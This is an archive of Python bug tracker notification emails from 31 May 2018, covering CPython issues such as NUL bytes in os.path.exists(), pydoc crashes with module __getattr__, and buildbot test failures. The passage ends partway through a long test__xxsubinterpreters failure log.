added dynamically by setattr() In-Reply-To: <1478776450.68.0.870801686772.issue28657@psf.upfronthosting.co.za> Message-ID: <1527783289.85.0.682650639539.issue28657@psf.upfronthosting.co.za> Change by Timo Furrer : ---------- nosy: +tuxtimo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 12:15:22 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 16:15:22 +0000 Subject: [issue33668] Wrong behavior of help function on module In-Reply-To: <1527517343.16.0.682650639539.issue33668@psf.upfronthosting.co.za> Message-ID: <1527783322.62.0.682650639539.issue33668@psf.upfronthosting.co.za> Change by Timo Furrer : ---------- nosy: +tuxtimo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 12:16:06 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 16:16:06 +0000 Subject: [issue30618] readlink for pathlib paths In-Reply-To: <1497052559.7.0.422106710991.issue30618@psf.upfronthosting.co.za> Message-ID: <1527783366.7.0.682650639539.issue30618@psf.upfronthosting.co.za> Change by Timo Furrer : ---------- nosy: +tuxtimo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 12:17:34 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 31 May 2018 16:17:34 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527783454.62.0.682650639539.issue33615@psf.upfronthosting.co.za> Eric Snow added the comment: New changeset 110bc01407ac8c75545d0386577c6e17254d97d9 by Eric Snow in branch 'master': bpo-33615: Temporarily disable a test that is triggering crashes on a few buildbots. (gh-7288) https://github.com/python/cpython/commit/110bc01407ac8c75545d0386577c6e17254d97d9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 12:17:34 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 31 May 2018 16:17:34 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1527783454.76.0.262363346258.issue32604@psf.upfronthosting.co.za> Eric Snow added the comment: New changeset 110bc01407ac8c75545d0386577c6e17254d97d9 by Eric Snow in branch 'master': bpo-33615: Temporarily disable a test that is triggering crashes on a few buildbots. (gh-7288) https://github.com/python/cpython/commit/110bc01407ac8c75545d0386577c6e17254d97d9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 12:24:16 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 31 May 2018 16:24:16 +0000 Subject: [issue33711] Could not find externals/db-* in msi.py on license generation In-Reply-To: <1527765224.13.0.682650639539.issue33711@psf.upfronthosting.co.za> Message-ID: <1527783856.47.0.682650639539.issue33711@psf.upfronthosting.co.za> Change by Ned Deily : ---------- nosy: +steve.dower, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 12:29:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 16:29:35 +0000 Subject: [issue33668] Wrong behavior of help function on module In-Reply-To: <1527517343.16.0.682650639539.issue33668@psf.upfronthosting.co.za> Message-ID: <1527784175.02.0.682650639539.issue33668@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 13:19:25 2018 From: report at bugs.python.org (pacujo) Date: Thu, 31 May 2018 17:19:25 +0000 Subject: [issue33721] os.path.exists() ought to return False if pathname contains NUL Message-ID: <1527787165.92.0.682650639539.issue33721@psf.upfronthosting.co.za> New submission from pacujo : os.path.exists() returns True or False for all imaginable string arguments except for one that contains NUL ("\0") (Linux). This behavior is not documented in the library. Moreover, it can easily lead to accidents if an externally supplied pathname were to contain a NUL because most test suites would not try to cover such a pathname. I propose os.path.exists() should return False even in this case. ---------- components: Library (Lib) messages: 318334 nosy: pacujo priority: normal severity: normal status: open title: os.path.exists() ought to return False if pathname contains NUL type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 13:58:51 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 31 May 2018 17:58:51 +0000 Subject: [issue33668] Wrong behavior of help function on module In-Reply-To: <1527517343.16.0.682650639539.issue33668@psf.upfronthosting.co.za> Message-ID: <1527789531.25.0.682650639539.issue33668@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Hm, replacing the return with a random string, this leads to another crash: Traceback (most recent call last): File "", line 1, in File "/Users/ilevkivskyi/src/cpython/Lib/_sitebuiltins.py", line 103, in __call__ return pydoc.help(*args, **kwds) File "/Users/ilevkivskyi/src/cpython/Lib/pydoc.py", line 1895, in __call__ self.help(request) File "/Users/ilevkivskyi/src/cpython/Lib/pydoc.py", line 1954, in help else: doc(request, 'Help on %s:', output=self._output) File "/Users/ilevkivskyi/src/cpython/Lib/pydoc.py", line 1674, in doc pager(render_doc(thing, title, forceload)) File "/Users/ilevkivskyi/src/cpython/Lib/pydoc.py", line 1667, in render_doc return title % desc + '\n\n' + renderer.document(object, name) File "/Users/ilevkivskyi/src/cpython/Lib/pydoc.py", line 385, in document if inspect.ismodule(object): return self.docmodule(*args) File "/Users/ilevkivskyi/src/cpython/Lib/pydoc.py", line 1157, in docmodule for importer, modname, ispkg in pkgutil.iter_modules(object.__path__): File "/Users/ilevkivskyi/src/cpython/Lib/pkgutil.py", line 123, in iter_modules raise ValueError("path must be None or list of paths to look for " ValueError: path must be None or list of paths to look for modules in The reason is that `__getattr__` is also triggered when a special attribute is looked up. I am not sure what to do with this. This is a bit inconsistent with how classes behave, where e.g. `__len__` is never searched on an instance. But modules are special in many other ways, so maybe we can just fix pydoc (and other tools like inspect) to expect some ill-typed values in special module attributes and fail gracefully? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 14:01:09 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 31 May 2018 18:01:09 +0000 Subject: [issue33668] Wrong behavior of help function on module In-Reply-To: <1527517343.16.0.682650639539.issue33668@psf.upfronthosting.co.za> Message-ID: <1527789669.77.0.682650639539.issue33668@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Adding Yury as an inspect expert. I don't think this is something urgent, we can probably postpone this to 3.7.1. ---------- nosy: +yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 14:35:34 2018 From: report at bugs.python.org (Jay Crotts) Date: Thu, 31 May 2018 18:35:34 +0000 Subject: [issue33722] Document builtins in mock_open Message-ID: <1527791734.24.0.682650639539.issue33722@psf.upfronthosting.co.za> New submission from Jay Crotts : The examples on using mock_open only include instances where objects are mocked in the REPL, so '__main__'.open is replaced. Commonly objects are mocked for use in other test modules, so builtins.open would be used instead. A note about this in the documentation would be useful not familiar with python internals. I'm happy to do a PR for it. ---------- assignee: docs at python components: Documentation messages: 318337 nosy: docs at python, jcrotts priority: normal severity: normal status: open title: Document builtins in mock_open type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 15:21:43 2018 From: report at bugs.python.org (Matthew Barnett) Date: Thu, 31 May 2018 19:21:43 +0000 Subject: [issue33721] os.path.exists() ought to return False if pathname contains NUL In-Reply-To: <1527787165.92.0.682650639539.issue33721@psf.upfronthosting.co.za> Message-ID: <1527794503.7.0.682650639539.issue33721@psf.upfronthosting.co.za> Matthew Barnett added the comment: It also raises a ValueError on Windows. For other invalid paths on Windows it returns False. ---------- nosy: +mrabarnett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 16:10:57 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 20:10:57 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI In-Reply-To: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> Message-ID: <1527797457.98.0.682650639539.issue33701@psf.upfronthosting.co.za> Stefan Krah added the comment: test_datetime passes here with nearly identical conditions as on the CI (Ubuntu 14.04, clang, same random seed): Using random seed 987845 Run tests in parallel using 4 child processes 0:00:01 load avg: 1.70 [ 1/415] test_html passed 0:00:01 load avg: 1.88 [ 2/415] test_unicode_file_functions passed 0:00:02 load avg: 1.88 [ 3/415] test_rlcompleter passed 0:00:03 load avg: 1.88 [ 4/415] test_xml_etree passed 0:00:03 load avg: 1.88 [ 5/415] test_codecencodings_kr passed 0:00:03 load avg: 1.88 [ 6/415] test_dummy_thread passed 0:00:04 load avg: 1.88 [ 7/415] test_source_encoding passed 0:00:05 load avg: 1.88 [ 8/415] test_code passed 0:00:05 load avg: 1.88 [ 9/415] test_curses passed 0:00:06 load avg: 1.88 [ 10/415] test_sys_setprofile passed 0:00:07 load avg: 2.05 [ 11/415] test_getopt passed 0:00:08 load avg: 2.05 [ 12/415] test_atexit passed 0:00:09 load avg: 2.05 [ 13/415] test_shlex passed 0:00:13 load avg: 2.13 [ 14/415] test_epoll passed 0:00:14 load avg: 2.13 [ 15/415] test_fileinput passed 0:00:26 load avg: 2.42 [ 16/415] test_embed passed 0:00:30 load avg: 2.54 [ 17/415] test_resource passed 0:00:31 load avg: 2.54 [ 18/415] test_augassign passed 0:00:36 load avg: 2.77 [ 19/415] test_gc passed -- running: test_io (33 sec) 0:00:38 load avg: 2.77 [ 20/415] test_multibytecodec passed -- running: test_io (35 sec) 0:00:38 load avg: 2.77 [ 21/415] test_contextlib passed -- running: test_io (35 sec) 0:00:39 load avg: 2.77 [ 22/415] test_code_module passed -- running: test_io (36 sec) 0:00:50 load avg: 2.80 [ 23/415] test_select passed -- running: test_unicodedata (36 sec), test_io (47 sec) 0:00:51 load avg: 2.90 [ 24/415] test_posixpath passed -- running: test_unicodedata (37 sec), test_io (48 sec) 0:01:05 load avg: 3.07 [ 25/415] test_capi passed -- running: test_unicodedata (50 sec), test_io (62 sec) 0:01:06 load avg: 3.07 [ 26/415] test_string passed -- running: test_unicodedata (52 sec), test_io (63 sec) 0:01:08 load avg: 3.06 [ 27/415] test_unicodedata passed (52 sec) -- running: test_io (65 sec) 0:01:09 load avg: 3.06 [ 28/415] test_iter passed -- running: test_io (66 sec) 0:01:09 load avg: 3.06 [ 29/415] test_largefile passed -- running: test_io (66 sec) 0:01:10 load avg: 3.06 [ 30/415] test_xxtestfuzz passed -- running: test_io (67 sec), test_datetime (30 sec) 0:01:10 load avg: 3.06 [ 31/415] test_pkg passed -- running: test_io (67 sec), test_datetime (31 sec) 0:01:11 load avg: 3.06 [ 32/415] test_datetime passed (30 sec) -- running: test_io (67 sec) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 16:17:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 20:17:16 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI In-Reply-To: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> Message-ID: <1527797836.76.0.682650639539.issue33701@psf.upfronthosting.co.za> STINNER Victor added the comment: > test_datetime passes here with nearly identical conditions as on the CI (Ubuntu 14.04, clang, same random seed): I tried to reproduce the issue on a Ubuntu Trusty *VM* using clang 5.0, using the same random seed: I failed to reproduce the bug. I ran test_numeric_tower with GCC USBAN, but there is no warning (I'm not sure that I enabled correctly USBAN!). I tested test_numeric_tower in Valgrind: no obvious memory error. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 16:20:01 2018 From: report at bugs.python.org (Tobias Kunze) Date: Thu, 31 May 2018 20:20:01 +0000 Subject: [issue32392] subprocess.run documentation does not have **kwargs In-Reply-To: <1513802831.78.0.213398074469.issue32392@psf.upfronthosting.co.za> Message-ID: <1527798001.15.0.682650639539.issue32392@psf.upfronthosting.co.za> Change by Tobias Kunze : ---------- keywords: +patch pull_requests: +6916 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 16:43:02 2018 From: report at bugs.python.org (Paul Koning) Date: Thu, 31 May 2018 20:43:02 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1527799382.89.0.682650639539.issue33470@psf.upfronthosting.co.za> Paul Koning added the comment: FYI, I'm the one who created this problem back in 2012. I just submitted a GDB patch for this, using PyImport_AppendInittab to define the built-in module at startup. I'm not sure how I missed this originally; perhaps the documentation was not as clear back then or maybe I just overlooked the information. The patch eliminates the call to _PyImport_FixBuiltins. ---------- nosy: +pkoning _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 16:43:43 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 31 May 2018 20:43:43 +0000 Subject: [issue33710] Deprecate gettext.lgettext() In-Reply-To: <1527764456.73.0.682650639539.issue33710@psf.upfronthosting.co.za> Message-ID: <1527799423.25.0.682650639539.issue33710@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: +1 - I'm actually surprise it's still there. ;) Given that the docs have a big red warning to avoid these in Python 3, let's start the process of removal. Don't forget to also deprecate ldgettext(), lngettext(), and ldngettext() https://docs.python.org/3/library/gettext.html#gettext.lgettext ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 16:44:18 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 20:44:18 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI In-Reply-To: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> Message-ID: <1527799458.5.0.682650639539.issue33701@psf.upfronthosting.co.za> Stefan Krah added the comment: A wild theory: Because of the new pervasive includes (-I/home/travis/multissl/openssl/1.1.0h/include -O3 -I/home/travis/multissl/openssl/1.1.0h/include) some module picks up a wrong header. But I just rebuilt https://travis-ci.org/python/cpython/jobs/385458840 and a different random seed is fine. If the includes are responsible, I'd expect the crash to be independent of the random seed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 16:50:32 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 31 May 2018 20:50:32 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1527799832.74.0.682650639539.issue33470@psf.upfronthosting.co.za> Change by Ned Deily : ---------- nosy: -ned.deily priority: release blocker -> versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 17:45:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 21:45:16 +0000 Subject: [issue33723] test_time.test_thread_time() failed on AMD64 Debian root 3.x Message-ID: <1527803116.79.0.682650639539.issue33723@psf.upfronthosting.co.za> New submission from STINNER Victor : AMD64 Debian root 3.x: http://buildbot.python.org/all/#/builders/27/builds/1067 ====================================================================== FAIL: test_thread_time (test.test_time.TimeTestCase) ---------------------------------------------------------------------- Traceback (most recent call last): File "/root/buildarea/3.x.angelico-debian-amd64/build/Lib/test/test_time.py", line 536, in test_thread_time self.assertGreaterEqual(stop - start, 0.020) # machine busy? AssertionError: 0.019943113999999984 not greater than or equal to 0.02 ---------- components: Tests messages: 318344 nosy: pitrou, vstinner priority: normal severity: normal status: open title: test_time.test_thread_time() failed on AMD64 Debian root 3.x versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 17:51:42 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 21:51:42 +0000 Subject: [issue33724] test__xxsubinterpreters failed on ARMv7 Ubuntu 3.x Message-ID: <1527803501.98.0.682650639539.issue33724@psf.upfronthosting.co.za> New submission from STINNER Victor : Follow-up of bpo-33615. ARMv7 Ubuntu 3.x: http://buildbot.python.org/all/#/builders/106/builds/1118 Re-running test 'test__xxsubinterpreters' in verbose mode test_bad_id (test.test__xxsubinterpreters.ChannelIDTests) ... ok test_bad_kwargs (test.test__xxsubinterpreters.ChannelIDTests) ... ok test_coerce_id (test.test__xxsubinterpreters.ChannelIDTests) ... ok test_default_kwargs (test.test__xxsubinterpreters.ChannelIDTests) ... ok test_does_not_exist (test.test__xxsubinterpreters.ChannelIDTests) ... ok test_equality (test.test__xxsubinterpreters.ChannelIDTests) ... ok test_repr (test.test__xxsubinterpreters.ChannelIDTests) ... ok test_str (test.test__xxsubinterpreters.ChannelIDTests) ... FAIL test_with_kwargs (test.test__xxsubinterpreters.ChannelIDTests) ... ok test_by_unassociated_interp (test.test__xxsubinterpreters.ChannelReleaseTests) ... ERROR test_close_if_unassociated (test.test__xxsubinterpreters.ChannelReleaseTests) ... ERROR test_multiple_times (test.test__xxsubinterpreters.ChannelReleaseTests) ... ok test_multiple_users (test.test__xxsubinterpreters.ChannelReleaseTests) ... ERROR test_never_used (test.test__xxsubinterpreters.ChannelReleaseTests) ... ok test_no_kwargs (test.test__xxsubinterpreters.ChannelReleaseTests) ... ok test_partially (test.test__xxsubinterpreters.ChannelReleaseTests) ... ok test_single_user (test.test__xxsubinterpreters.ChannelReleaseTests) ... ok test_used_multiple_times_by_single_user (test.test__xxsubinterpreters.ChannelReleaseTests) ... ok test_with_unused_items (test.test__xxsubinterpreters.ChannelReleaseTests) ... ok test_close_both_with_unused_items_forced (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_both_with_unused_items_unforced (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_by_unassociated_interp (test.test__xxsubinterpreters.ChannelTests) ... ERROR test_close_defaults_with_unused_items (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_empty (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_multiple_times (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_multiple_users (test.test__xxsubinterpreters.ChannelTests) ... ERROR test_close_never_used (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_recv_with_unused_items_forced (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_recv_with_unused_items_unforced (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_send_with_unused_items_forced (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_send_with_unused_items_unforced (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_single_user (test.test__xxsubinterpreters.ChannelTests) ... ok test_close_used_multiple_times_by_single_user (test.test__xxsubinterpreters.ChannelTests) ... ok test_create_cid (test.test__xxsubinterpreters.ChannelTests) ... ok test_ids_global (test.test__xxsubinterpreters.ChannelTests) ... FAIL test_recv_empty (test.test__xxsubinterpreters.ChannelTests) ... ok test_recv_not_found (test.test__xxsubinterpreters.ChannelTests) ... ok test_run_string_arg_resolved (test.test__xxsubinterpreters.ChannelTests) ... skipped 'bpo-33615: triggering crashes so temporarily disabled' test_run_string_arg_unresolved (test.test__xxsubinterpreters.ChannelTests) ... ok test_send_not_found (test.test__xxsubinterpreters.ChannelTests) ... ok test_send_recv_different_interpreters (test.test__xxsubinterpreters.ChannelTests) ... ERROR Exception in thread Thread-9: Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/threading.py", line 917, in _bootstrap_inner self.run() File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/threading.py", line 865, in run self._target(*self._args, **self._kwargs) File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1280, in f """)) File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 42, in _run_output interpreters.run_string(interp, script, shared) _xxsubinterpreters.RunFailedError: : channel 1103095676 not found test_send_recv_different_interpreters_and_threads (test.test__xxsubinterpreters.ChannelTests) ... FAIL test_send_recv_different_threads (test.test__xxsubinterpreters.ChannelTests) ... ok test_send_recv_main (test.test__xxsubinterpreters.ChannelTests) ... ok test_send_recv_same_interpreter (test.test__xxsubinterpreters.ChannelTests) ... ok test_sequential_ids (test.test__xxsubinterpreters.ChannelTests) ... ok test_after_destroy_all (test.test__xxsubinterpreters.CreateTests) ... ok test_after_destroy_some (test.test__xxsubinterpreters.CreateTests) ... ok test_in_main (test.test__xxsubinterpreters.CreateTests) ... ok test_in_subinterpreter (test.test__xxsubinterpreters.CreateTests) ... FAIL test_in_thread (test.test__xxsubinterpreters.CreateTests) ... ok test_in_threaded_subinterpreter (test.test__xxsubinterpreters.CreateTests) ... FAIL test_unique_id (test.test__xxsubinterpreters.CreateTests) ... skipped 'enable this test when working on pystate.c' test_all (test.test__xxsubinterpreters.DestroyTests) ... ok test_already_destroyed (test.test__xxsubinterpreters.DestroyTests) ... ok test_bad_id (test.test__xxsubinterpreters.DestroyTests) ... ok test_does_not_exist (test.test__xxsubinterpreters.DestroyTests) ... ok test_from_current (test.test__xxsubinterpreters.DestroyTests) ... ok test_from_other_thread (test.test__xxsubinterpreters.DestroyTests) ... ok test_from_sibling (test.test__xxsubinterpreters.DestroyTests) ... ERROR test_main (test.test__xxsubinterpreters.DestroyTests) ... ok test_one (test.test__xxsubinterpreters.DestroyTests) ... ok test_still_running (test.test__xxsubinterpreters.DestroyTests) ... ok test_close (test.test__xxsubinterpreters.ExhaustiveChannelTests) ... skipped 'these tests take several hours to run' test_force_close (test.test__xxsubinterpreters.ExhaustiveChannelTests) ... skipped 'these tests take several hours to run' test_main (test.test__xxsubinterpreters.GetCurrentTests) ... ok test_subinterpreter (test.test__xxsubinterpreters.GetCurrentTests) ... FAIL test_from_main (test.test__xxsubinterpreters.GetMainTests) ... ok test_from_subinterpreter (test.test__xxsubinterpreters.GetMainTests) ... FAIL test_bad_id (test.test__xxsubinterpreters.InterpreterIDTests) ... ok test_coerce_id (test.test__xxsubinterpreters.InterpreterIDTests) ... ok test_does_not_exist (test.test__xxsubinterpreters.InterpreterIDTests) ... ok test_equality (test.test__xxsubinterpreters.InterpreterIDTests) ... ok test_repr (test.test__xxsubinterpreters.InterpreterIDTests) ... ok test_str (test.test__xxsubinterpreters.InterpreterIDTests) ... FAIL test_with_int (test.test__xxsubinterpreters.InterpreterIDTests) ... ok test_already_destroyed (test.test__xxsubinterpreters.IsRunningTests) ... ok test_bad_id (test.test__xxsubinterpreters.IsRunningTests) ... ok test_does_not_exist (test.test__xxsubinterpreters.IsRunningTests) ... ok test_from_subinterpreter (test.test__xxsubinterpreters.IsRunningTests) ... ERROR test_main (test.test__xxsubinterpreters.IsRunningTests) ... ok test_subinterpreter (test.test__xxsubinterpreters.IsRunningTests) ... ok test_default_shareables (test.test__xxsubinterpreters.IsShareableTests) ... ok test_not_shareable (test.test__xxsubinterpreters.IsShareableTests) ... ok test_after_creating (test.test__xxsubinterpreters.ListAllTests) ... ok test_after_destroying (test.test__xxsubinterpreters.ListAllTests) ... ok test_initial (test.test__xxsubinterpreters.ListAllTests) ... ok test_SystemExit (test.test__xxsubinterpreters.RunStringTests) ... ok test_already_running (test.test__xxsubinterpreters.RunStringTests) ... ok test_bad_id (test.test__xxsubinterpreters.RunStringTests) ... ok test_bad_script (test.test__xxsubinterpreters.RunStringTests) ... ok test_bytes_for_script (test.test__xxsubinterpreters.RunStringTests) ... ok test_create_thread (test.test__xxsubinterpreters.RunStringTests) ... ok test_does_not_exist (test.test__xxsubinterpreters.RunStringTests) ... ok test_error_id (test.test__xxsubinterpreters.RunStringTests) ... ok test_execution_namespace_is_main (test.test__xxsubinterpreters.RunStringTests) ... ok test_failure (test.test__xxsubinterpreters.RunStringTests) ... ok test_fork (test.test__xxsubinterpreters.RunStringTests) ... ok test_in_thread (test.test__xxsubinterpreters.RunStringTests) ... ok test_invalid_syntax (test.test__xxsubinterpreters.RunStringTests) ... ok test_main_reused (test.test__xxsubinterpreters.RunStringTests) ... ok test_shared_overwrites (test.test__xxsubinterpreters.RunStringTests) ... ok test_shared_overwrites_default_vars (test.test__xxsubinterpreters.RunStringTests) ... ok test_still_running_at_exit (test.test__xxsubinterpreters.RunStringTests) ... skipped 'blocking forever' test_success (test.test__xxsubinterpreters.RunStringTests) ... ok test_sys_exit (test.test__xxsubinterpreters.RunStringTests) ... ok test_with_shared (test.test__xxsubinterpreters.RunStringTests) ... ok test_bytes (test.test__xxsubinterpreters.ShareableTypeTests) ... ok test_int (test.test__xxsubinterpreters.ShareableTypeTests) ... ok test_singletons (test.test__xxsubinterpreters.ShareableTypeTests) ... ok test_types (test.test__xxsubinterpreters.ShareableTypeTests) ... ok ====================================================================== ERROR: test_by_unassociated_interp (test.test__xxsubinterpreters.ChannelReleaseTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1640, in test_by_unassociated_interp """)) _xxsubinterpreters.RunFailedError: : 'id' must be a non-negative int ====================================================================== ERROR: test_close_if_unassociated (test.test__xxsubinterpreters.ChannelReleaseTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1656, in test_close_if_unassociated """)) _xxsubinterpreters.RunFailedError: : 'id' must be a non-negative int ====================================================================== ERROR: test_multiple_users (test.test__xxsubinterpreters.ChannelReleaseTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1582, in test_multiple_users """)) _xxsubinterpreters.RunFailedError: : 'id' must be a non-negative int ====================================================================== ERROR: test_close_by_unassociated_interp (test.test__xxsubinterpreters.ChannelTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1501, in test_close_by_unassociated_interp """)) _xxsubinterpreters.RunFailedError: : 'id' must be a non-negative int ====================================================================== ERROR: test_close_multiple_users (test.test__xxsubinterpreters.ChannelTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1358, in test_close_multiple_users """)) _xxsubinterpreters.RunFailedError: : 'id' must be a non-negative int ====================================================================== ERROR: test_send_recv_different_interpreters (test.test__xxsubinterpreters.ChannelTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1237, in test_send_recv_different_interpreters """)) File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 42, in _run_output interpreters.run_string(interp, script, shared) _xxsubinterpreters.RunFailedError: : 'id' must be a non-negative int ====================================================================== ERROR: test_from_sibling (test.test__xxsubinterpreters.DestroyTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 734, in test_from_sibling interpreters.run_string(id1, script) _xxsubinterpreters.RunFailedError: : unrecognized interpreter ID -1098177076 ====================================================================== ERROR: test_from_subinterpreter (test.test__xxsubinterpreters.IsRunningTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 490, in test_from_subinterpreter """)) File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 42, in _run_output interpreters.run_string(interp, script, shared) _xxsubinterpreters.RunFailedError: : unrecognized interpreter ID -1098177076 ====================================================================== FAIL: test_str (test.test__xxsubinterpreters.ChannelIDTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1142, in test_str self.assertEqual(str(cid), '10') AssertionError: '0' != '10' - 0 + 10 ? + ====================================================================== FAIL: test_ids_global (test.test__xxsubinterpreters.ChannelTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1206, in test_ids_global self.assertEqual(cid2, int(cid1) + 1) AssertionError: 1113969968 != 1112900745 ====================================================================== FAIL: test_send_recv_different_interpreters_and_threads (test.test__xxsubinterpreters.ChannelTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 1288, in test_send_recv_different_interpreters_and_threads self.assertEqual(obj, b'eggs') AssertionError: b'spam' != b'eggs' ====================================================================== FAIL: test_in_subinterpreter (test.test__xxsubinterpreters.CreateTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 613, in test_in_subinterpreter self.assertEqual(set(interpreters.list_all()), {main, id1, id2}) AssertionError: Items in the first set but not the second: InterpreterID(24) Items in the second set but not the first: 1113009960 ====================================================================== FAIL: test_in_threaded_subinterpreter (test.test__xxsubinterpreters.CreateTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 632, in test_in_threaded_subinterpreter 